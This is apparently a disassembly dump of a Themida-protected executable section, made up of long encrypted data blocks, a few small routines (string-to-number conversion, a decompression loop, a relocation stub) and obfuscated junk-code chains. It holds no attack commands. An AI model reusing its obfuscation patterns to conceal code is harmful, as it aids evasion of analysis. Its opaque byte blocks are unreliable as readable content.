dd 1C0424h, 55450000h, 86DAF8C3h, 89DBD190h, 80B6A758h
dd 1EAD952Bh, 61E905E2h, 29000002h, 0E22F8D8Dh, 1B805h
dd 0D3800000h, 64BD8D75h, 0F05E242h, 381h, 0DFCB8000h
dd 14BE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 12E81Bh, 5C510000h, 27CC0C06h, 0B55D49C1h
dd 846EFC33h, 0A6BE7F55h, 0EE9h, 34891F00h, 1A112A49h
dd 82D79BAFh, 5A44E66Dh, 0F883A4B7h, 4B850F02h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 0B93BC353h, 7B0123CAh, 8105AFE4h, 0B109BCC2h
dd 618D891Fh, 8D05E205h, 0E2445CBDh, 0B5896005h, 5E209B1h
dd 0A96BC281h, 0E961713Bh, 0B0h, 0F8832EB2h, 58850F03h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 218EC356h, 2C20DEECh, 0E9951F95h
dd 12h, 0F024283Bh, 5B5C7405h, 0DA97A265h, 65E62CBBh, 0EB813B0Fh
dd 17F184E3h, 45F0BD8Dh, 9D8B05E2h, 5E20E31h, 53E9h, 95B52900h
dd 8305E229h, 850F05F8h, 44h, 0CE9h, 8EB2A300h, 0F9D433ADh
dd 84AE97D6h, 0B1E915h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 0C45ADFC3h, 850F5350h
dd 0
dd 0BD895A5Bh, 5E20E31h, 72BB6657h, 6F53B9B2h, 0FFB3533Ch
dd 0F003F83h, 6E84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 6664958Bh, 0F30D18Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A0C35242h
dd 9374723Eh, 900F3417h, 0E947C9D1h, 14h, 6F92AFDBh, 10CA744Bh
dd 41D4BBE2h, 9FDD58AFh, 1110EFBAh, 0FFFF8FE9h, 559D8BFFh
dd 8305E231h, 850F05F8h, 68h, 14E5B589h, 8C6605E2h, 0D28166D9h
dd 0C1F66453h, 41850F04h, 89000000h, 0E22B118Dh, 959D8B05h
dd 0B805E22Fh, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B2C35747h
dd 0D847995Ah, 0E97F8E34h, 18h, 0C1958B50h, 5A05E213h
dd 32F9858Bh, 8B6605E2h, 0BBE0FFDAh, 2D7AFAE4h, 405BD83h
dd 0F0005E2h, 17885h, 0F1BD8900h, 9005E21Bh, 0D38B6652h
dd 12E8505Bh, 79000000h, 0C5035A3Ch, 7DCAE7Fh, 9DE6541Ch
dd 1CADE154h, 6E9FAh, 79C40000h, 0CB8DE535h, 8D29905Ah
dd 5E21349h, 0A4985C6h, 6A4505E2h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89CFC352h
dd 0E22F9D95h, 6AEF6805h, 0BE89B96h, 63000000h, 0C5891E8Ah
dd 28C46ADDh, 0E9607267h, 0Fh, 2C2DBBE1h, 2E14FDF0h, 0FE24FEF4h
dd 61C39AD4h, 2434815Ah, 15E40386h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 72C35646h, 8166D11Ch, 0E88B70C2h
dd 10h, 0AC598889h, 1CD304Fh, 6EE83BFDh, 0F5E5ED98h, 5A616052h
dd 2DB5FF5Ah, 6605E226h, 1BE0CB81h, 39ED858Dh, 6A05E2h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 45EA57C3h, 65FC80Eh, 0AE95Dh, 0F0800000h, 0CF2EF1E1h
dd 0F9D04D30h, 785958Bh, 0D0FF05E2h, 3EA8166h, 585896Bh
dd 6A05E204h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 9CE1C353h, 38A0C859h, 226E32F9h
dd 0E381DE8Ah, 2228CC49h, 56006A58h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0F0A6B6FAh
dd 0A6DA1897h, 33BD83ACh, 5E24Ch, 4A840Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0C14C38C3h, 0BE527D00h, 119D8B03h, 3105E205h, 0E219F995h
dd 41B5FF05h, 0F05E206h, 95FFD3B7h, 5E20405h, 68D0Fh, 0BD290000h
dd 5E210F1h, 0F00F883h, 0D585h, 4D858900h, 8305E21Dh, 0E20481BDh
dd 840F0005h, 61h, 0D2B70F56h, 81B5FF5Ah, 6A05E204h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 590C351h, 0B1D6BBD4h, 1B8ACh, 81660000h, 0E90F05EAh
dd 20Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0EAC35646h, 418D0943h, 8B05E207h, 41B5FFD3h, 6605E206h
dd 0E6FACA81h, 641B5FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0B12204C3h, 9DB7C7C0h
dd 8B14507Bh, 0E2171D9Dh, 5B5FF05h, 0E805E204h, 9, 2E7C34D6h
dd 2247D36Ch, 73BDBAE2h, 0E95A06FCh, 18Ch, 18219D89h, 665F05E2h
dd 83DBC3BAh, 0E22A6DBDh, 850F0005h, 0A5h, 5BD8951h, 5B05E200h
dd 0A4985C6h, 8A4D05E2h, 4E8FEh, 76A80000h, 0BA66A435h
dd 605069D1h, 800F60h, 0F000000h, 87h, 0CC8A6100h, 24448B61h
dd 0E0BA6604h, 0B2008BEAh, 244489C1h, 38C0F04h, 66000000h
dd 8958D88Bh, 0E221499Dh, 0DB5FF05h, 3105E215h, 0E22635B5h
dd 0ED858D05h, 0E905E239h, 0Bh, 0DA4DC226h, 3AE10BB9h
dd 0FF3EFCE3h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 14BA2BC1h, 0BA2582DAh
dd 6BDE122Eh, 2A6D8589h, 0DF8005E2h, 0B830h, 85290000h
dd 5E2083Dh, 4BDCBD89h, 8C0F05E2h, 5, 28DB8166h, 0FC00BB8h
dd 3784h, 0E19D2300h, 0E905E200h, 0A0h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 15h, 4CC35242h, 39958BA0h
dd 0F05E21Fh, 38Dh, 1DDF8000h, 405B5FFh, 6A05E2h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 1814D7C3h, 8B1D5EB1h, 0E6858D2Ah, 8105E4ACh, 30D12CAh
dd 0AE85049h, 7E000000h, 51887155h, 99D13EF1h, 0AE8CCh
dd 0C66B0000h, 0B18197AFh, 6B4E41E5h, 0FE8h, 132A8300h
dd 0E5EAF73Fh, 5BFC2ECCh, 0DBFE9545h, 895B5A5Bh, 0B5292404h
dd 5E203E5h, 0BD8D5650h, 5E2524Eh, 79FA8D8Dh, 0BCB805E2h
dd 2B748323h, 0D00730CFh, 754947C8h, 83585EF8h, 0E20481BDh
dd 6740005h, 4758D8Bh, 0C93305E2h, 0B8h, 0FC00B00h, 9984h
dd 2DBD8300h, 5E21Eh, 95FF0674h, 5E22D31h, 0B8h, 75C00B00h
dd 0E4BD8309h, 105E24Bh, 0BD830974h, 5E24BE4h, 8B0E7502h
dd 0E24BDCB5h, 0E6858D05h, 0FF05E4ACh, 0E7858DD0h, 0FF05E241h
dd 29BD83D0h, 205E21Dh, 0A58B2F75h, 5E20D65h, 481858Bh
dd 48905E2h, 7D85C724h, 105E20Fh, 8B000000h, 0E24BE0B5h
dd 51AD8B05h, 0B805E231h, 1, 0EB000CC2h, 7D85C700h, 105E20Fh
dd 8B000000h, 0E20D65A5h, 0C5B58B05h, 8B05E205h, 0E23151ADh
dd 0C2C03305h, 0BD83000Ch, 5E215D9h, 830F7400h, 0E20E65BDh
dd 6740005h, 0E6595FFh, 0B58B05E2h, 5E24BDCh, 852360C3h
dd 5E215E9h, 61C38B66h, 0BAA3D280h, 0
dd 13A9958Bh
db 0E2h, 5
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_4F57BA
; ---------------------------------------------------------------------------
loc_4F57B8: ; CODE XREF: Themida_:004F57BDj
inc eax
inc edi
loc_4F57BA: ; CODE XREF: Themida_:004F57B6j
cmp byte ptr [edi], 0
jnz short loc_4F57B8
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_4F57E9
; ---------------------------------------------------------------------------
loc_4F57C6: ; CODE XREF: Themida_:004F57EBj
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_4F57DE
; ---------------------------------------------------------------------------
loc_4F57DB: ; CODE XREF: Themida_:004F57E1j
mul ebx
dec esi
loc_4F57DE: ; CODE XREF: Themida_:004F57D9j
cmp esi, 0
ja short loc_4F57DB
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_4F57E9: ; CODE XREF: Themida_:004F57C4j
or eax, eax
jnz short loc_4F57C6
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
db 6Ah
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 7C8FC351h, 896087FBh, 0E208E195h, 61C68B05h
dd 3D9D8B56h, 5A05E22Ch, 20F28166h, 0E9C18B97h, 1ADh, 24748B60h
dd 247C8B24h, 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h
dd 5850FD2h, 8A000000h, 0D2124616h, 0FFE2830Fh, 0D202FFFFh
dd 5850Fh, 168A0000h, 0FD21246h, 6A83h, 2C03300h, 5850FD2h
dd 8A000000h, 0D2124616h, 12A830Fh, 0D2020000h, 5850Fh
dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
dd 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
dd 0D2124616h, 840FC013h, 6, 8AF82B57h, 7885F07h, 2BB47h
dd 70E90000h, 0B8FFFFFFh, 1, 850FD202h, 5, 1246168Ah, 2C013D2h
dd 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh, 0C32BFFFFh
dd 1BBh, 34850F00h, 0B9000000h, 1, 850FD202h, 5, 1246168Ah
dd 2C913D2h, 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh
dd 8B56FFFFh, 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h
dd 0E88B4606h, 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h
dd 850FD202h, 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh, 7D00h
dd 22830Fh, 3D0000h, 0F000005h, 0E82h, 8B564100h, 0F3F02BF7h
dd 0B4E95EA4h, 83FFFFFEh, 870F7FF8h, 3, 5602C183h, 0F02BF78Bh
dd 0E95EA4F3h, 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h, 17840Fh
dd 0D1830000h, 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h
dd 247C2BFFh, 247C8928h, 8C2611Ch, 929BA00h, 88E90000h
dd 28000225h, 94025500h, 0A200560Bh, 94005606h, 6800560Bh
dd 3F0012FFh, 25500h, 46000000h, 2000002h, 1000000h, 3000000h
dd 0B7000000h, 0FA6CDCh, 4 dup(0)
dd 90000000h, 9B005023h, 50004F66h, 0B3004FF6h, 9800500Dh
dd 6C004FF3h, 5D004FF9h, 0DA004FF3h, 42004FC5h, 0F5004FEFh
dd 0FF004FCDh, 68005001h, 2C005014h, 0DF004F8Fh, 65005009h
dd 73004F74h, 15004FC7h, 1D005024h, 8004F9Bh, 7900500Eh
dd 5A004FC2h, 48005018h, 34005017h, 5E005017h, 0B9004F60h
dd 0E5004F84h, 9004FD5h, 63004FFDh, 0B4004F69h, 88005003h
dd 2004FCFh, 6A005025h, 84004FA0h, 0AA005005h, 5A004FCFh
dd 12004F77h, 2A004FBDh, 0A9004FC2h, 6F004FEFh, 31005027h
dd 1E004FC3h, 0EE004F7Ah, 4600501Eh, 0AC004FFAh, 9C004F92h
dd 77004FA6h, 2F004FDFh, 90004FA7h, 0B6004F68h, 43004FC7h
dd 0D2004FCDh, 0C5004FC8h, 0D8004FFDh, 5E005021h, 43005001h
dd 0A5004FC8h, 1A004FE1h, 86004FC1h, 2A004FF3h, 77004FFDh
dd 9C004F8Dh, 0E0004FD2h, 47005012h, 37004FD4h, 5C004F7Ch
dd 0B0004F91h, 0FD004F83h, 58004F77h, 5F004F81h, 4D005005h
dd 6C004F82h, 0C4005023h, 0B4005004h, 0E6004F7Bh, 0FC00501Ch
dd 0F5004FD2h, 52004FFDh, 14004FF8h, 45004FCBh, 0C4005005h
dd 4E004F8Dh, 9E004FA1h, 28004FC1h, 1D00500Fh, 8F005000h
dd 48004F80h, 12004FF3h, 0CE004FA2h, 0B3004FD3h, 0E4004FE8h
dd 68004FADh, 88005011h, 0C5004FC8h, 26004F68h, 7A004F90h
dd 0D5004F7Eh, 57004FFDh, 0AC004FA8h, 0E300500Fh, 0BB005021h
dd 0B2004F8Dh, 0A7005017h, 20004F9Ch, 0DE004FFBh, 1004FEBh
dd 6A004FDAh, 9F005010h, 5F004FAAh, 7F004FA3h, 0AC00500Dh
dd 0F6004F74h, 8E004FC9h, 1F004FACh, 0E300500Bh, 0E3004FBFh
dd 26004F87h, 3E004FD2h, 0FB004FAFh, 0C7005006h, 0C2004FCAh
dd 6E004FC4h, 0D6004FE7h, 4005009h, 7004FCBh, 8D00500Fh
dd 35004FC5h, 72005004h, 0BA004F70h, 33004FA0h, 89004FFEh
dd 0A5004FCEh, 9C004FC2h, 1B004FA0h, 21004F79h, 65004FF0h
dd 68004FE8h, 0AE004FE4h, 0A4004FB6h, 3B004F6Eh, 5004F99h
dd 33004FE8h, 75004FBBh, 7D004F98h, 96005024h, 0D004F80h
dd 80004F9Fh, 0E4004FDFh, 4E004F95h, 0C8004F92h, 7A004FBCh
dd 47004F90h, 2D005008h, 0F2004FF8h, 10004F5Dh, 56004FECh
dd 3300501Bh, 1400501Fh, 0D3004F92h, 61004FB2h, 0E004F8Dh
dd 9E004F6Bh, 97004FC4h, 0AC005004h, 90004F96h, 8F004FDBh
dd 0C9005022h, 64004FB9h
db 0Ah, 50h, 0
; ---------------------------------------------------------------------------
loc_4F5CCB: ; CODE XREF: Themida_:0051891Cj
; Themida_:00523149j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 5E2801Ch
mov eax, edi
add edi, 5E27D34h
cmp eax, [edi+2Ch]
jnz short loc_4F5CE9
jmp short loc_4F5CFC
; ---------------------------------------------------------------------------
loc_4F5CE9: ; CODE XREF: Themida_:004F5CE5j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_4F5CF8
; ---------------------------------------------------------------------------
loc_4F5CF3: ; CODE XREF: Themida_:004F5CFAj
add [edi+ecx*4+40h], eax
dec ecx
loc_4F5CF8: ; CODE XREF: Themida_:004F5CF1j
or ecx, ecx
jnz short loc_4F5CF3
loc_4F5CFC: ; CODE XREF: Themida_:004F5CE7j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_4F5D09: ; CODE XREF: Themida_:004F5D10j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_4F5D09
loc_4F5D12: ; CODE XREF: Themida_:loc_4F6041j
; Themida_:004F75B1j ...
lodsb
xor al, bl
push 333Ah
mov [esp], edx
mov dl, 0A6h
sub dl, 7Fh
shl dl, 5
sub esp, 2
mov [esp], dx
neg byte ptr [esp]
pop dx
push ebx
mov bh, 99h
and bh, 0F9h
not bh
shr bh, 2
jmp loc_4F8CBB
; ---------------------------------------------------------------------------
db 0E9h, 0CCh, 0FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F5D46: ; CODE XREF: Themida_:004FBBD4j
mov [esp], edi
mov edi, 3B1219F3h
and edi, 4980195h
jmp loc_501B39
; ---------------------------------------------------------------------------
db 88h, 0D3h, 66h
dd 0A203E95Ah, 505F0000h, 7922BE56h, 22B813E4h, 2913E479h
dd 0E8295EF0h, 8158C589h, 0E53DA8C5h, 7C5812Bh, 81630B06h
dd 506485F5h, 958DE9A9h, 0C2810000h, 1AF82EA4h, 5182E9h
dd 4C28300h, 2474FF52h, 48F5A04h, 0C8855C24h, 46E8E99Ch
dd 6CBB0000h, 0E973AE2Bh, 999Fh
; ---------------------------------------------------------------------------
loc_4F5DB8: ; CODE XREF: Themida_:004F7B66j
push 3ACDh
jmp loc_4F7A8E
; ---------------------------------------------------------------------------
a_zBzSul db '_‡×B‡×éî«',0
dd 46800h, 1580000h, 24048BC3h, 9D59E9h, 5EAC100h, 5CD7E9h
dd 0E9E68900h, 1921h, 958DE95Ah, 51AD0000h, 20F2BE56h
dd 0F189365Bh, 0E6E1815Eh, 8107996Bh, 320629C1h, 0CCBA5259h
dd 8135946Ch, 0B2F47AC2h, 8689E9E3h, 0C6810000h, 8593100Eh
dd 875EF201h, 248B2414h, 88D3F624h, 0E95B66D8h, 8677h
dd 4C1835Dh, 31240C33h, 1FE9240Ch, 3100009Eh, 0EE2959CDh
dd 3D0AE9h
db 0
; ---------------------------------------------------------------------------
loc_4F5E4D: ; CODE XREF: Themida_:004F6143j
and eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
jmp loc_4F60A0
; ---------------------------------------------------------------------------
db 0FEh, 0C2h, 0E9h
dd 0ACD3h, 4055854h, 83000000h, 48704E8h, 24248B24h, 54241C89h
dd 39B9515Bh, 0E950C00Eh, 0F89h, 3C8BF801h, 4C48124h, 50000000h
dd 590DB6B8h, 8A01E96Fh, 59B00000h, 0B34BE9h, 0E2895200h
dd 2F9C68h, 24048900h, 206B1DB8h, 0DBB9516Ah, 41761B0Ah
dd 804AE9h, 5BDA3100h, 2977C281h, 0D689AAD5h, 8324148Bh
dd 0A66804C4h, 89000015h, 8EBD242Ch, 815C5A03h, 4C59D6C6h
dd 50A8E93Ah, 0C4830000h, 535A6602h, 536664B3h, 662414F6h
dd 56241C8Bh, 0C681E689h, 4, 2C681h, 34870000h, 81E95C24h
dd 5B00009Bh, 4C381h, 53520000h, 59160F68h, 0CB815B46h
dd 118C7397h, 779DF381h, 0DA8957DDh, 88E8E95Bh, 0C8310000h
dd 0B60EE9h
db 0
; ---------------------------------------------------------------------------
loc_4F5F39: ; CODE XREF: Themida_:004F7DDFj
pop esi
mov edx, [esp]
add esp, 4
xor esi, 40EC6735h
sub esi, 15800FB2h
sub edx, esi
pop esi
and eax, edx
mov edx, [esp]
add esp, 4
shr eax, 0Ah
jmp loc_501E4F
; ---------------------------------------------------------------------------
loc_4F5F65: ; CODE XREF: Themida_:004FD770j
inc edx
jmp loc_4F7949
; ---------------------------------------------------------------------------
db 89h
dd 49E95EF5h, 5A0000A4h, 0E3B4EB81h, 0D80196A4h, 2DF8295Bh
dd 75DB132Eh, 5F2434FFh, 0A98CE956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F5F8E: ; CODE XREF: Themida_:004FA7B5j
pop esi
push ebp
mov ebp, esp
add ebp, 4
jmp loc_4F9012
; ---------------------------------------------------------------------------
db 1, 44h, 24h
dd 48B5804h, 4C48324h, 405h, 20500h, 4870000h, 0AA12E924h
dd 2C310000h, 4F35E924h, 4680000h, 8B000000h, 5EE92434h
db 68h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F5FCF: ; CODE XREF: Themida_:004FC3ADj
add esp, 4
jmp loc_4FC2E8
; ---------------------------------------------------------------------------
db 81h
dd 0C16024E2h, 0BBBB5324h, 16C6651h, 0B5E95BDAh, 510000C2h
dd 0DF79FDB9h, 0D2E9814Ch, 0E95D1552h, 0A345h
; ---------------------------------------------------------------------------
loc_4F5FFC: ; CODE XREF: Themida_:00501674j
add esp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push edi
jmp loc_4FD598
; ---------------------------------------------------------------------------
db 5Eh, 52h, 0BAh
dd 4, 3BE9D101h, 8B000083h, 89502404h, 405E0h, 0C0830000h
dd 24048704h, 0C39D615Ch, 0FFFCD9E9h, 24048BFFh, 0B2C4E9h
db 0
; ---------------------------------------------------------------------------
loc_4F6041: ; CODE XREF: Themida_:00500D4Aj
jmp loc_4F5D12
; ---------------------------------------------------------------------------
dw 2C2Dh
dd 0E93EAD2Eh, 3215h, 814BD3F7h, 0BD415F3h, 8988E9EDh
dd 34FF0000h, 24048B24h, 6804C483h, 74D7h, 83241C89h, 0E95404ECh
dd 2DD8h, 9709E95Ah, 0C3800000h, 4F22E995h, 0CD010000h
dd 74FF5559h, 6BE90424h, 8100009Eh, 433C6EEFh, 0E9FA21ACh
dd 7B09h
; ---------------------------------------------------------------------------
loc_4F60A0: ; CODE XREF: Themida_:004F5E58j
add esp, 4
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push 5E9Ch
mov [esp], eax
mov eax, 1
sub esp, 4
jmp loc_4FB604
; ---------------------------------------------------------------------------
dw 0D5F7h
dd 6DF58145h, 296FEA49h, 2626E9EFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F60D2: ; CODE XREF: Themida_:004FB3B4j
mov edx, 4
add esi, edx
pop edx
xchg esi, [esp]
pop esp
push 1544h
jmp loc_500C1B
; ---------------------------------------------------------------------------
dd 11B7C681h, 27E96711h, 81000027h, 4C1h, 4C18100h, 87000000h
dd 55E9240Ch, 530000ADh, 5150E389h, 591BF3B9h, 59C88924h
dd 12Dh, 0E9D0F700h, 472Ah, 0D3288DB2h, 0C3805A66h, 6A85E910h
dd 0DFE90000h
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F6133: ; CODE XREF: Themida_:004FF37Aj
mov esi, 29807910h
xor esi, edi
pop edi
mov edi, 5CF33AC3h
xor edi, esi
pop esi
jmp loc_4F5E4D
; ---------------------------------------------------------------------------
dd 0E6E9D7F7h, 680000B2h, 0A51h, 0B9240C89h, 22313ED4h
dd 4F0DE9h
db 0
; ---------------------------------------------------------------------------
loc_4F6161: ; CODE XREF: Themida_:004F8B07j
shl edx, 8
jmp loc_4F6775
; ---------------------------------------------------------------------------
db 81h, 0C6h, 4
dd 0E9000000h, 7A52h
; ---------------------------------------------------------------------------
loc_4F6174: ; CODE XREF: Themida_:004F6253j
pop edi
add edx, 0FFFFFFFFh
push esi
push 78D1h
jmp loc_4F7DD6
; ---------------------------------------------------------------------------
db 89h
dd 0CFB5240Ch, 0A693E9h, 4C38100h, 87000000h, 815C241Ch
dd 4C2h, 0C343E900h, 0E95B0000h, 0AF9h, 9C242CD3h, 0FFFB61E9h
dd 0F6815FFFh, 47A312B1h, 0FFFFBF57h, 0FE29FFFFh, 0BD4FE9h
db 0
; ---------------------------------------------------------------------------
loc_4F61C5: ; CODE XREF: Themida_:004F7957j
pop edx
inc eax
jmp loc_4F8D14
; ---------------------------------------------------------------------------
dd 0C681CE29h, 43E695Dh, 592434FFh, 4C481h, 6EE90000h
db 33h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F61E3: ; CODE XREF: Themida_:00500113j
pop ebx
and eax, edx
mov edx, [esp]
jmp loc_4FD682
; ---------------------------------------------------------------------------
aXhgf db 'Xhgf',0
align 4
aIS db '‰,$éÍ',1Bh,0
align 4
dd 0D205D001h, 5A4A984Ah, 3D38EB81h, 0EB814FB8h, 4E3071E1h
dd 2560E9h
db 0
; ---------------------------------------------------------------------------
loc_4F6215: ; CODE XREF: Themida_:004FFAACj
shl ebp, 1
jmp loc_4F6298
; ---------------------------------------------------------------------------
dd 0B5E69BB9h, 59CE29D7h, 815EF701h, 2C7h, 5250E900h, 0C5800000h
dd 3FCBE9A1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F623A: ; CODE XREF: Themida_:004FD93Cj
mov [esp], edx
mov edx, 4E3A7E0Bh
xor edx, 4F086FC0h
shl edx, 7
push edi
mov edi, 180811D2h
and edx, edi
jmp loc_4F6174
; ---------------------------------------------------------------------------
dd 52665359h, 0F6E9B6B2h
db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F6263: ; CODE XREF: Themida_:004FFC91j
xchg eax, [esp]
pop esp
push 65D3h
mov [esp], esi
sub esp, 4
jmp loc_4F80D5
; ---------------------------------------------------------------------------
db 89h
dd 0E6E92404h, 100001Ah, 50EA81CAh, 81238676h, 9973E9C2h
dd 240C8B6Fh, 0E9595451h, 9E48h
; ---------------------------------------------------------------------------
loc_4F6298: ; CODE XREF: Themida_:004F6217j
dec ebp
push edx
mov edx, 4E9816C7h
add edx, 0B26BED48h
jmp loc_4FFFF6
; ---------------------------------------------------------------------------
loc_4F62AA: ; CODE XREF: Themida_:004FB598j
pop edi
add esp, 4
push 74CFh
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_500B2F
; ---------------------------------------------------------------------------
db 0B0h
dd 85B15108h, 0D1F6D1F6h, 8003E9C0h, 0E1D0F7E1h, 289CC180h
dd 0DD3459C8h, 78F3E9h
db 0
; ---------------------------------------------------------------------------
loc_4F62E1: ; CODE XREF: Themida_:004FAB1Bj
shl ebx, 3
inc ebx
jmp loc_500D59
; ---------------------------------------------------------------------------
dw 34FFh
aXvicusC db '$XV‰æU鯗',0
dw 8600h
dd 8620E9F5h, 0EA810000h, 74717435h, 81242C8Bh, 4C4h, 4C28100h
dd 87000000h, 72E92414h, 58000018h, 0E9241C33h, 3CAh, 4C381h
dd 0EB810000h, 4, 5C241C87h, 0E9242C89h, 8D7h, 0CD80DDF6h
dd 0EED8020h, 459E800h, 148B66B6h, 2C48124h, 0E9000000h
dd 3B07h, 0D1F7595Bh, 5C27E9h, 6ACBA00h, 0EAC15A0Eh, 4C946803h
dd 3C890000h, 1A4ABF24h, 0D7F74593h, 0FFFFEF81h, 0EFC1FFFFh
dd 1CE78108h, 0E975375Bh, 0FFFFFD07h, 2C381h, 0FF530000h
dd 0E9042474h, 0B91Ah, 857A3ABBh, 5BDD2171h, 87EBE9h, 4C78300h
dd 7E8DE9h, 91E95000h, 80000034h, 0F18831F6h, 8124148Bh
dd 4C4h, 51C18000h, 8023E980h, 5366B3C1h, 0F928A4B7h, 0F9285B66h
dd 68ECE9h, 1F3CBE00h, 0E9E96413h, 58000086h, 4C481h, 48F0000h
dd 24248B24h, 9856E9h
db 0
; ---------------------------------------------------------------------------
loc_4F63F9: ; CODE XREF: Themida_:004FA74Dj
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp], edx
jmp loc_4FCF11
; ---------------------------------------------------------------------------
db 89h
dd 4C781E7h, 83000000h, 23E904C7h
db 2Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F6417: ; CODE XREF: Themida_:004F6E97j
mov ecx, [esp]
push eax
mov eax, esp
jmp loc_4FCBA9
; ---------------------------------------------------------------------------
aFSd db 'fÓ$$œé„&',0
align 4
loc_4F642C: ; CODE XREF: Themida_:004FAF5Bj
xor esi, [esp]
jmp loc_4FDD49
; ---------------------------------------------------------------------------
loc_4F6434: ; CODE XREF: Themida_:004FEF1Cj
xchg esi, [esp]
jmp loc_5002E5
; ---------------------------------------------------------------------------
dd 4C481h, 4E460000h, 8014E9h, 241C8B00h, 4C481h, 46E90000h
dd 8100009Bh, 6F2713C2h, 81C2293Ah, 6F2713EAh, 9EEA813Ah
dd 68625E52h, 3A53h, 0BDFBE9h, 71685100h, 0E9043014h, 8D8Ch
; ---------------------------------------------------------------------------
loc_4F6480: ; CODE XREF: Themida_:004F95F4j
mov edx, [esp]
add esp, 4
not edx
jmp loc_4FAB30
; ---------------------------------------------------------------------------
db 8Bh, 1Ch, 24h
dd 7EAFE9h, 0F878E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F649A: ; CODE XREF: Themida_:004FCE6Ej
pop ecx
jmp loc_4F9164
; ---------------------------------------------------------------------------
dd 4C781h, 0C7830000h, 2BC4E904h, 875A0000h, 565C241Ch
dd 0B498E9h, 0E9E58900h, 0A849h, 55E28952h, 412B68h, 243C8900h
dd 5528FFBFh, 5FFD891Eh, 2414F755h, 0ACBB535Dh, 0E942107Eh
dd 1EBDh, 555DEA29h, 0B3786368h, 0E9565D37h, 0AE26h
; ---------------------------------------------------------------------------
loc_4F64F4: ; CODE XREF: Themida_:004F696Fj
mov [esp], esi
mov esi, 392A3382h
jmp loc_4FC56C
; ---------------------------------------------------------------------------
db 30h, 0F0h, 8Bh
dd 0E9512414h, 0AE8Ah, 468575Bh, 5F000000h, 0E95FFB01h
dd 0FFFFFE70h
; ---------------------------------------------------------------------------
loc_4F651C: ; CODE XREF: Themida_:004FC80Dj
mov esp, [esp]
jmp loc_4F76E1
; ---------------------------------------------------------------------------
aFyC db 'fY,C',0
db 0F8h, 4, 43h
dd 0E9241C8Bh, 80Ch
; ---------------------------------------------------------------------------
loc_4F6534: ; CODE XREF: Themida_:004F7ACAj
mov esi, [esp]
add esp, 4
and eax, ecx
mov ecx, [esp]
add esp, 4
shr eax, 8
xor eax, ecx
xor eax, edi
jmp loc_4F7B6B
; ---------------------------------------------------------------------------
dd 68C28142h, 29460162h, 24148BD3h, 3104C483h, 0AD71E9C2h
dd 815A0000h, 4C2h, 4C28100h, 87000000h, 535C2414h, 532CE4BBh
